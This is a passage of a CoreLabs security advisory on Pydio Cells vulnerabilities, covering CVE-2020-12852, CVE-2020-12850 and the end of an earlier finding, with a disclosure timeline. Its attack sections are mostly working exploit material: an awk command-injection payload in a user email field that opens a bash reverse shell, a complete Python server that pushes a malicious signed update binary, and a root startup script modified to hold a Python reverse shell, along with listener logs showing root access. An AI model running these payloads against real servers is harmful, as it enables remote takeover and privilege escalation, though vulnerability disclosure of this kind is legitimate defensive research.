Accept-Encoding: gzip, deflate
Referer: https://192.168.0.43/welcome/
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjAxMjQ0NjdlZTJlMjQyN2FkYzg0OWQ1NTMwYjJiZjFmMjhhNjEyNjIifQ.eyJpc3MiOiJodHRwc
zovLzE5Mi4xNjguMC40My9hdXRoL2RleCIsInN1YiI6IkNpUXhObUl5WWpSbU5pMHhNR0l3TFRReU9EWXRZbUZqWVMwd01ERTBORGs0WTJRMk56VVNCWEI1WkdsdiI
sImF1ZCI6ImNlbGxzLWZyb250IiwiZXhwIjoxNTg1NzcxOTkwLCJpYXQiOjE1ODU3NzEzOTAsIm5vbmNlIjoiNjQzNmM3OGItOTNiNi00MTQzLThjYjUtNDVkNmUxM
jY0OTQ5IiwiYXRfaGFzaCI6IkZXV3BYUzg4TkIzSklPMl9VdmtNaGciLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwibmFtZSI6ImFkbWluIn0.UrP_FtBv_-ZnhJDA7jn
HHJle1xYHe02zyFtdaRVrLVkjQQmOvOQowkHKyYmDIaRvPYOy524ukt8wqWY9p_S71OtSW2vS_gSzA8yCaH1VEHbgfu11kS6b4mVmYCCWMWSIV_I-Vh9EeLqFhObQm
Xt9o9z1Ov3RZX9QTA4oNqfUEU6g1194f16cIfrA7Vz_w5uTm105Ziuk2IHGbHIawBqiRpgLBVDX-fZYXn3RxRmPWR-YLoi9X8iqWC3ENOkjuxaXXpi7-dI9nzml2qu
vSpErS6UqDC7egRwoa9ZLiYcVjGCBiyLCe_4bfEKW3JCjCbBW2PpKBbgTd__KtJCNbTPk3A
X-Pydio-Language: en-us
Content-Type: application/json
Content-Length: 726
Connection: close
Cookie: com.pydio.android.Client-smartbanner-closed=true

{"GroupPath":"/","Attributes":{"profile":"shared","email":"\u0022;BEGIN {system(\u0022/usr/bin/bash -i >& /dev/
tcp/192.168.0.28/8000 0>&1\u0022);exit}\u0022#","parameter:core.conf:lang":"\"en-us\"","send_email":"true"},
"Roles":[],"Login":"userce","Password":"uSerce4&","Policies":[{"Action":"OWNER","Subject":"16b2b4f6-10b0-4286-baca-
0014498cd675","Effect":"allow"},{"Action":"READ","Subject":"user:admin","Effect":"allow"},{"Action":"WRITE","Subject":
"user:admin","Effect":"allow"},{"Action":"READ","Subject":"user:userce","Effect":"allow"},{"Action":"WRITE","Subject":
"user:userce","Effect":"allow"},{"Action":"WRITE","Subject":"profile:admin","Effect":"allow"},{"Action":"READ","Subject":
"profile:admin","Effect":"allow"}]}

Response:
HTTP/1.1 200 OK
Content-Length: 1995
Content-Type: application/json
Date: Wed, 01 Apr 2020 20:04:44 GMT
Server: 
Vary: Origin
Connection: close 
{"Uuid":"2e4b104e-2417-4e8b-9767-0e26a6540176","GroupPath":"/","Attributes":{"email":"\";BEGIN {system(\"/usr/bin/bash -i 
\u003e\u0026 /dev/tcp/192.168.0.28/8000 0\u003e\u00261\");exit}\"#","parameter:core.conf:lang":"\"en-us\"","profile":
"shared"},"Roles":[{"Uuid":"EXTERNAL_USERS","Label":"External Users","LastUpdated":1584741967,"AutoApplies":
["shared"],"Policies":[{"id":"5","Resource":"EXTERNAL_USERS","Action":"READ","Subject":"*","Effect":"allow"},
{"id":"6","Resource":"EXTERNAL_USERS","Action":"WRITE","Subject":"profile:standard","Effect":"allow"}]},{"Uuid":
"2e4b104e-2417-4e8b-9767-0e26a6540176","Label":"User userce","UserRole":true,"LastUpdated":1585771484,"AutoApplies":
[""],"Policies":[{"id":"23","Resource":"2e4b104e-2417-4e8b-9767-0e26a6540176","Action":"READ","Subject":"profile:
standard","Effect":"allow"},{"id":"24","Resource":"2e4b104e-2417-4e8b-9767-0e26a6540176","Action":"WRITE","Subject":
"user:userce","Effect":"allow"},{"id":"25","Resource":"2e4b104e-2417-4e8b-9767-0e26a6540176","Action":"WRITE",
"Subject":"profile:admin","Effect":"allow"}]}],"Login":"userce","Policies":[{"id":"47","Resource":"2e4b104e-2417-
4e8b-9767-0e26a6540176","Action":"OWNER","Subject":"16b2b4f6-10b0-4286-baca-0014498cd675","Effect":"allow"},{"id":
"48","Resource":"2e4b104e-2417-4e8b-9767-0e26a6540176","Action":"READ","Subject":"user:admin","Effect":"allow"},{"id":
"49","Resource":"2e4b104e-2417-4e8b-9767-0e26a6540176","Action":"WRITE","Subject":"user:admin","Effect":"allow"},{"id":
"50","Resource":"2e4b104e-2417-4e8b-9767-0e26a6540176","Action":"READ","Subject":"user:userce","Effect":"allow"},{"id":
"51","Resource":"2e4b104e-2417-4e8b-9767-0e26a6540176","Action":"WRITE","Subject":"user:userce","Effect":"allow"},
{"id":"52","Resource":"2e4b104e-2417-4e8b-9767-0e26a6540176","Action":"WRITE","Subject":"profile:admin","Effect":"allow"},
{"id":"53","Resource":"2e4b104e-2417-4e8b-9767-0e26a6540176","Action":"READ","Subject":"profile:admin","Effect":"allow"}],
"PoliciesContextEditable":true}

A test email is sent to the user that has just been created. This will combine the last steps and will force the web application into executing the following command:

/usr/bin/awk -t '"";BEGIN {system("/usr/bin/bash -i >& /dev/tcp/192.168.0.28/8000 0>&1");exit}"#, "' 

The following figure shows a sample email testing request to the previously created user:

Request:
POST /a/mailer/send HTTP/1.1
Host: 192.168.0.43
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.0.43/settings/parameters/mailer
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjAxMjQ0NjdlZTJlMjQyN2FkYzg0OWQ1NTMwYjJiZjFmMjhhNjEyNjIifQ.eyJpc3MiOiJod
HRwczovLzE5Mi4xNjguMC40My9hdXRoL2RleCIsInN1YiI6IkNpUXhObUl5WWpSbU5pMHhNR0l3TFRReU9EWXRZbUZqWVMwd01ERTBORGs0WTJRMk56VVNCWEI
1WkdsdiIsImF1ZCI6ImNlbGxzLWZyb250IiwiZXhwIjoxNTg1NzcyNjA0LCJpYXQiOjE1ODU3NzIwMDQsIm5vbmNlIjoiNjQzNmM3OGItOTNiNi00MTQzLThjY
jUtNDVkNmUxMjY0OTQ5IiwiYXRfaGFzaCI6IjVPNl84T3JicWZRVXNFSWd4YzZyZFEiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwibmFtZSI6ImFkbWluIn0.NzR
FAZtbhPxZTSwG5xyiBDzbl8TvPWlmLDKtzKeJFGVgHyLkiGunMR5IFu-Z9AUsY8At7wCsXu_41wsmV7xyQ8J6zSSNLqs-qIaZWk2oQ8bciZatfpJQE--YvQJi-
1KakllyswSpH5m64DONRRBIiLxWQL38Ptw8syYJu7bdJgOrQw0ylbjADPoGVW78441TOiR3JLub7gjvKgFQlXAhMgri0bUtBd4bZs5OxrkCncixzHO9MLHZNapP_T
qLZDziPNU7xmeyff-XvTWONNCELKFLy4ozCXXpcrVZ6pXk-ryRNSgSTLkpJyFbSw44S66fon3DuTjCCC_BaSGcFcE-kg
X-Pydio-Language: en-us
Content-Type: application/json
Content-Length: 89
Connection: close
Cookie: com.pydio.android.Client-smartbanner-closed=true 
{"To":[{"Uuid":"userce"}],"TemplateId":"AdminTestMail","TemplateData":{"Message":"rce!"}}

The system command is executed, including a custom payload and triggering of the reverse shell:

$ nc -lvp 8000
Listening on [0.0.0.0] (family 0, port 8000)
Connection from 192.168.0.43 48614 received!
bash: no job control in this shell
[pydio@cells ~]$

7.6 Weakness in Pydio Cells Software Update Feature

[CVE-2020-12852] The update feature for Pydio Cells allows an administrator user to set a custom update URL and the public RSA key used to validate the downloaded update package. The update process involves downloading the updated binary file from a URL indicated in the update server response, validating its checksum and signature with the provided public key and finally replacing the current application binary. To complete the update process, the application’s service or appliance needs to be restarted.

An attacker with administrator access can leverage the software update feature to force the application to download a custom binary that will replace current Pydio Cells binary. When the server or service is eventually restarted the attacker will be able to execute code under the privileges of the user running the application. In the Pydio Cells enterprise appliance this is with the privileges of the user named “pydio”. The following proof of concept demonstrates the vulnerability:

The Software Update feature in the Cells Console can be seen below:

7_6_pydio_cells_1

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

A python script displays a new public RSA key to be set in the software update feature, runs a web server that responds to the update requests, and serves a custom binary file.

Once the administrator user sets the new update URL to the custom web server and the provided public RSA key, then clicks “check for updates,” a new available version is displayed.

When the upgrade process is executed, the application will download the binary offered by the script and will replace the current Pydio Cells binary file in the server:

from base64 import b64encode
from Crypto.Hash import SHA256
from Crypto.Signature import PKCS1_v1_5
from Crypto.PublicKey import RSA
import os, sys
from os.path import exists
from http.server import HTTPServer, BaseHTTPRequestHandler
import subprocess

payload = ""
HOST = ""
PORT = ""

def PoC():
    digest = SHA256.new()
    filesize = 0
    inputFileName = sys.argv[1]
    with open (inputFileName, "rb") as myfile:
        digest.update(myfile.read())
        filesize = os.fstat(myfile.fileno()).st_size

    binaryChecksum = str(b64encode(digest.digest()),"utf-8")
    #print("SHA256:" + digest.hexdigest() + "; Base64 Encoded:" + binaryChecksum)

    key = RSA.generate(2048)
    f = open('mykey.pem','wb')
    f.write(key.export_key('PEM'))
    f.close()

    f = open('pub.pem','wb')
    pubkey = key.publickey().export_key(format='PEM',pkcs=1)
    f.write(pubkey)
    f.close()

    print("Use this public key in the pydio cells admin console when updating: \n")

    result = subprocess.run(['openssl', 'rsa', '-in', 'pub.pem', '-pubin', '--RSAPublicKey_out'], stdout=subprocess.PIPE)
    print(str(result.stdout,"utf-8"))

    # Load private key and sign message
    signer = PKCS1_v1_5.new(key)
    sig = signer.sign(digest)

    binarySignature = str(b64encode(sig),"utf-8")

    #print("Signature: " + binarySignature)

    response =  ('{{"Channel":"stable","AvailableBinaries":[{{"PackageName":"PydioHome","Version":"5.0.1",'
                '"ReleaseDate":1583836041,"Label":"Cells Home 5.0.1","Description":"PoC","ChangeLog":"https://www.coresecurity.com",'
                '"License":"AGPLv3","BinaryURL":"{0}","BinaryChecksum":"{1}","BinarySignature":"{2}","BinaryHashType":"sha256",'
                '"BinarySize":"{3}","BinaryOS":"linux","BinaryArch":"amd64","Status":"Released"}}]}}')

    return response.format("http://" + HOST + ":" + PORT + "/cells",binaryChecksum,binarySignature,filesize)
    

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        self.server_version = ""
        self.sys_version = ""

        if (str(self.path) == "/"):
            self.send_response(200)
            self.end_headers()

        if (str(self.path) == "/cells"):
            inputFileName = sys.argv[1]
            with open(inputFileName,"rb") as infile:
                filesize = os.fstat(infile.fileno()).st_size
                self.send_response(200)
                self.send_header("Content-Type", "application/octet-stream")
                self.send_header("Content-Length", filesize)
                self.end_headers()
                sfile = infile.read()
                self.wfile.write(bytes(sfile))
                infile.close()
    
    def do_POST(self):
        self.server_version = ""
        self.sys_version = ""
        body = ""

        if (self.headers['Content-Length']):
            content_length = int(self.headers['Content-Length'])
            body = self.rfile.read(content_length)
            print("The request body was: \n%s" % str(body,"utf-8"))

        if (str(self.path) == "/a/update-server/"):
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            self.wfile.write(payload.encode())

if __name__ == '__main__':
    if (len(sys.argv) < 4) :
        print("Missing Params! Example: python3 %s <path of file to serve> " % sys.argv[0])
        exit(-1)
    if (not exists(sys.argv[1])):
        print("Invalid input file! Example: python3 %s <path of file to serve> <ip> <port number to listen to>" % sys.argv[0])
        exit(-2)
    PORT = sys.argv[3]
    HOST = sys.argv[2]
    payload = PoC()
    httpd = HTTPServer((HOST, int(PORT)), SimpleHTTPRequestHandler)
    print("Server started... Listening in port %s" % PORT)
    '''
    httpd.socket = ssl.wrap_socket (httpd.socket, 
        keyfile="path/to/key.pem", 
        certfile='path/to/cert.pem', server_side=True)
    '''
    httpd.serve_forever()

The new update URL and public RSA key is now configured:

7_6_pydio_cells_2

 

 

 

 

 

 

 

 

 

 

 

 

 

The new update is found, and the user can initiate the upgrade process. Note that the version’s details can be fully customized:

7_6_pydio_cells_3

 

 

 

 

 

 

 

 

 

 

 

 

 

The update process begins, outputting the following:

> python3 cells.py rev 192.168.56.1 8086
Use this public key in the pydio cells admin console when updating: 

writing RSA key
-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAqhFRqB0rJoXKhDZ2QgOrgVSMpxyA06By7d1Z67ecOdgg1LzwdD0k
C/DkkGGaEkwnoeB7Hbw0b56jPTUCnwtalo7NczyG/ps1Y5SHrfhkgtHOefjzG9th
kDIytnu1L2NSUJsXhU0Xh9Y3aNyUDGTUl5GunHAsccYpQv3VvuUykC4QTQ8duXBf
4ZEA1R6vkgvlBgs7Gsv/XVveyAT8JiAiVnbcvx/xtx9bXmymG5hb88Qj4mAe7XjE
ksOatOJgDzZcjSCt3NmtqR8ju4XdI5RslyV410dtmBvtu6G3lI/ELR71jSlIIx09
7yqZIvfdFeQ86y2kE+caM9uky02zIh9wdQIDAQAB
-----END RSA PUBLIC KEY-----

Server started... Listening in port 8086
The request body was: 
{"Channel":"stable","PackageName":"PydioEnterprise","CurrentVersion":"2.0.4","GOOS":"linux","GOARCH":"amd64","LicenseInfo":
{"Key":"eyJKc29uTGljZW5zZUluZm8iOiJ7XCJJZFwiOlwidHJpYWwtbWlkLWFwcmlsXCIsXCJBY2NvdW50TmFtZVwiOlwiVHJpYWwgbWlkIEFwcmlsXCIsXCJ
Jc3N1ZVRpbWVcIjoxNTg0NTQwNzI2LFwiRXhwaXJlVGltZVwiOjE1ODY5ODc5OTksXCJNYXhVc2Vyc1wiOlwiMjBcIixcIk1heFBlZXJzXCI6XCIxMFwifSIsIk
Jhc2U2NFNpZ25hdHVyZSI6ImdHc3V1alJwWml4VTZpd242bWJ1UWlZN283ZEZsaGlHYWxvZnJMUXZwRVY5VEJuT2I5SWljK1kzTjIxWDJ6QktYUTZPckMwM3ZZR
2lCeDJlVzNSYTNmdERob0IxbWtCRVdLMnJhUTJxcjhVOElHblppb0hHVzdQL253U21RSXF5UUt6U0pqMFFkY2FBc1doeWdLZHh0QjdtVU1SRTM2VzI0R0NpRkdx
VlZFcnRqUDQyQmJob3FRZ1lqREk4ZmdsZW9uU0xVQnFCNkZDajVpTS8wM3VSK2pXUTJlWXdZaU9NVXJYM1dhWGpUeFRMTCtyRjJVVDZkNDdtMVVlMW5jbTB2byt
0T1BYdGt3Umh1THI5aE5iR0YzNkowWDNGVmxMczh1c2UzZzZYdE96UDhUaFVtcmtlckt2ZmpsZEpHZ1JtaXYzekdaVTRMQXhmZ09pQTZRT09CUT09In0="}}
192.168.56.7 - - [27/Mar/2020 17:48:49] "POST /a/update-server/ HTTP/1.1" 200 -
The request body was: 
{"Channel":"stable","PackageName":"PydioEnterprise","CurrentVersion":"2.0.4","GOOS":"linux","GOARCH":"amd64"}
192.168.56.7 - - [27/Mar/2020 17:49:28] "POST /a/update-server/ HTTP/1.1" 200 -
192.168.56.7 - - [27/Mar/2020 17:49:28] "GET /cells HTTP/1.1" 200 -

The update process is completed, and a service or server restart is needed:

7_6_pydio_cells_4

 

 

 

 

 

 

 

 

 

 

The original Pydio Cells binary file is replaced for a new one on the server:

[pydio@cells pydio]$ pwd
/opt/pydio
[pydio@cells pydio]$ ls -all
total 36
drwxr-xr-x. 2 pydio pydio    93 Mar 27 17:39 .
drwxr-xr-x. 3 root  root     19 Jan  6 11:06 ..
-rwxr-xr-x. 1 pydio pydio  8576 Mar 27 17:39 cells-enterprise
-rw-r--r--. 1 pydio pydio 17176 Jan  6 11:06 cells_selinux-1.0-1.el7.noarch.rpm
-rwxr-xr-x. 1 pydio pydio   212 Jan  6 11:06 get-ipaddress

Once the cells service or server is restarted, the new binary will be executed. For example, if the new executable file is a reverse shell the attacker will gain remote access to the server as pydio:

 

$ nc -lvp 8085
Listening on [0.0.0.0] (family 0, port 8085)
Connection from 192.168.56.5 42668 received!
bash: no job control in this shell
[pydio@cells ~]$ whoami
pydio
[pydio@cells ~]$

7.7 Script modification could allow local privilege escalation

[CVE-2020-12850] The following vulnerability applies only to the Pydio Cells Enterprise OVF version 2.0.4. Prior versions of the Pydio Cells Enterprise OVF (such as version 2.0.3) have a looser policy restriction allowing the “pydio” user to execute any privileged command using sudo.

In version 2.0.4 of the appliance, the user pydio is responsible for running all the services and binaries that are contained in the Pydio Cells web application package, such as mysqld, cells, among others. This user has  privileges restricted to run those services and nothing more. However, a service located on /etc/systemd/system/run-before-login-prompt.service with the following contents was discovered: 

[Unit]
Description=Show welcome message with systemd right before login prompt
After=systemd-user-sessions.service plymouth-quit-wait.service network-online.target
After=rc-local.service
Before=getty.target

[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=/opt/pydio/bin/show-welcome-message

[Install]

As seen above, this service consists of executing a script that shows a welcome message once the appliance is turned onIn the specification of the service there is not a “User” entry specified. Therefore, the script indicated on the “ExecStart” entry will be executed with root privileges. Finally, pydio can edit this script, as is shown in the figure below:

$ls -lah /opt/pydio/bin/show-welcome-message
-rwxr--r--. 1 pydio pydio 1,8K mar 10 14:35 /opt/pydio/bin/show-welcome-message

An attacker could edit the /opt/pydio/bin/show-welcome-message script and wait until the appliance is rebooted to execute any arbitrary code with root privileges.

The following excerpt shows the modified script which, after execution, will trigger a reverse shell with root privileges:

#!/bin/sh

if [ "$1" = lo ]; then
    exit 0
fi

IPADDRESS=$(/usr/local/bin/what-is-my-public-ip)

echo "Welcome on Pydio Cells Enterprise appliance" > /etc/issue
echo "-------------------------------------------" >> /etc/issue
echo "" >> /etc/issue

if [ "$IPADDRESS" = "" ]; then
    echo "WARNING: this machine requires at least a private IP address" >> /etc/issue
    echo "Please attach a network adaptor to your guest VM via virtualbox settings" >> /etc/issue
    echo "" >> /etc/issue
    echo "Available private IPv4 address spaces:"  >> /etc/issue
    echo "\t- 10.0.0.0 – 10.255.255.255" >> /etc/issue
    echo "\t- 172.16.0.0 – 172.31.255.255" >> /etc/issue
    echo "\t- 192.168.0.0 – 192.168.255.255" >> /etc/issue
    echo "" >> /etc/issue
else
    echo "Pydio Enterprise Distribution contains all necessary tools to be ready to sync and share files in minutes.
 Please note that the usage of this product is bound to an End-User License Agreement (EULA). See /opt/pydio/EULA" >> /etc/issue
    echo "--" >> /etc/issue
    echo "BY USING THE EQUIPMENT THAT CONTAINS THIS PRODUCT, YOU ARE CONSENTING TO BE BOUND BY THIS LICENSE AGREEMENT.
 IF YOU DO NOT AGREE TO ALL OF THE TERMS OF THIS AGREEMENT, PLEASE DO NOT ACCESS NOR SET UP THE ASSIOCIATED WEB APPLICATION." 
>> /etc/issue
    echo "--" >> /etc/issue
    echo "To start using Pydio Cells Enterprise Distribution, please open a browser and go to the following location:
 https://$IPADDRESS/" >> /etc/issue
    echo "" >> /etc/issue
    echo "This instance uses a self-signed certificate for SSL support. You may see a warning in your browser,
 please ignore it. Make sure to use a trusted certificate when using in production." >> /etc/issue
    echo "" >> /etc/issue
    echo "" >> /etc/issue
fi
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect
(("192.168.0.28",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call
(["/bin/sh","-i"]);'
exit 0

Upon system reboot, the modified script is executed, including the reverse shell command:

$ nc -lvp 8000
Listening on [0.0.0.0] (family 0, port 8000)
Connection from 192.168.0.43 47468 received!
sh: no job control in this shell
sh-4.2# id
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0

8. Report Timeline

2020-04-07 - Vulnerability is discovered by Core Labs.

2020-04-29 - Pydio is emailed to request a contact

2020-04-29 - Response received from Pydio asking for details. Replied and sent a draft of the  advisory.

2020-05-12 - Hotfix received for vulnerability fix validation.

2020-05-13 - License key received for fix validation.

2020-05-13 - CVE codes requested from MITRE.

2020-05-14 - CVE codes received.

2020-05-20 – Advisory published.

9. References

[1] https://www.pydio.com/

[2] https://www.pydio.com/en/community/releases/pydio-cells/pydio-cells-enterprise-207

10. About CoreLabs

CoreLabs, the research center of Core Security, A Fortra Company is charged with researching and understanding security trends as well as anticipating the future requirements of information security technologies. CoreLabs studies cybersecurity trends, focusing on problem formalization, identification of vulnerabilities, novel solutions, and prototypes for new technologies. The team is comprised of seasoned researchers who regularly discover and discloses vulnerabilities, informing product owners in order to ensure a fix can be released efficiently, and that customers are informed as soon as possible. CoreLabs regularly publishes security advisories, technical papers, project information, and shared software tools for public use at https://www.coresecurity.com/core-labs.  

11. About Core Security, A Fortra Company

Core Security, a Fortra Company, provides organizations with critical, actionable insight about who, how, and what is vulnerable in their IT environment. With our layered security approach and robust threat-aware, identity & access, network security, and vulnerability management solutions, security teams can efficiently manage security risks across the enterprise. Learn more at www.coresecurity.com.

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or [email protected].

12. Disclaimer

The contents of this advisory are copyright (c) 2020 Core Security and (c) 2020 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/